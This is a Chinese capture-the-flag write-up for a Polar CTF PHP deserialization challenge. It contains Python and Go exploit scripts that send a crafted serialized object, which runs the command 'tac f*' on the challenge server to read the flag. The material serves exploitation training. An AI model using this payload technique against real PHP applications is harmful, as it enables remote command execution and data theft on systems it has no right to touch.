Polar Web【简单】PHP反序列化初试

Polar Web【简单】PHP反序列化初试

Contents

思路

启动环境,显示下图中的PHP代码,于是展开分析:

  1. 首先发现Easy类中有魔术函数 __wakeup() ,实现的是对成员变量 $name 的回显。
  2. 观察下方发现, unserialize() 函数将触发该魔术函数的执行,因此考虑构造序列字符串传入该类的成员变量 $name 中,以触发命令执行。
  • 本题分别使用手动注入和脚本运行两种方式进行解答。

EXP

手动


脚本

Python
python 复制代码
import requests


def attack(url, payload):
    url += payload
    res = (requests.get(url).content.decode('utf8'))
    if res:
        print(res[res.rindex('flag'):res.rindex('"')])


if __name__ == '__main__':
    site = 'http://~.www.polarctf.com:8090/'
    pl = '?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}'
    attack(site, pl)
Go
go 复制代码
package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
)

func attack(url string) {
	//fmt.Println("url:", url)
	if resp, err := http.Get(url); err != nil {
		panic("GET ERR: " + err.Error())
	} else {
		out, _ := ioutil.ReadAll(resp.Body)
		ans := string(out)
		fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "\"")])
	}
}

func main() {
	baseURL := "http://~.www.polarctf.com:8090/"
	// 解析基础 URL
	u, err := url.Parse(baseURL)
	if err != nil {
		panic(err)
	}
	// 解析查询字符串
	q, err := url.ParseQuery(u.RawQuery)
	if err != nil {
		panic(err)
	}
	// 添加或更新查询参数
	q.Set("easy", "O:4:\"Easy\":1:{s:4:\"name\";O:4:\"Evil\":2:{s:4:\"evil\";s:6:\"tac f*\";s:3:\"env\";N;}}")
	// 编码查询字符串
	u.RawQuery = q.Encode()
	attack(u.String())
}
  • !注意 !在Go语言中,为了防止特殊的字符导致URL被截断引发HTTP请求异常,需要对原生URL进行编码处理

运行&总结

  • 本题考查PHP代码分析、反序列化以及序列构造的技巧
  • 需要对PHP面向对象设计有所认识

敬,不完美的明天

相关推荐
roshy3 小时前
可信计算、TPM
安全
Z3r4y3 小时前
【代码审计】RuoYi-4.7.3&4.7.8 定时任务RCE 漏洞分析
java·web安全·ruoyi·代码审计
Bruce_Liuxiaowei4 小时前
权限维持:操作系统后门技术分析与防护
网络·安全·web安全
wanhengidc6 小时前
云手机通常使用什么架构
服务器·网络·安全·游戏·智能手机·云计算
芯盾时代7 小时前
《网络安全法》完成修改,AI安全正式“入法”
人工智能·安全·web安全
KKKlucifer8 小时前
数据智能时代的安全困局与 AI 破局逻辑
人工智能·安全
华硕广东13 小时前
当电脑开机自动进入 BIOS 更新画面时,不必惊慌~
科技·安全·技术美术
llxxyy卢14 小时前
文件上传之基础过滤方式
安全·web安全
悠悠~飘14 小时前
17.PHP基础-数组
php
FreeBuf_14 小时前
GlassWorm蠕虫卷土重来:开源安全体系暴露根本性缺陷
安全·开源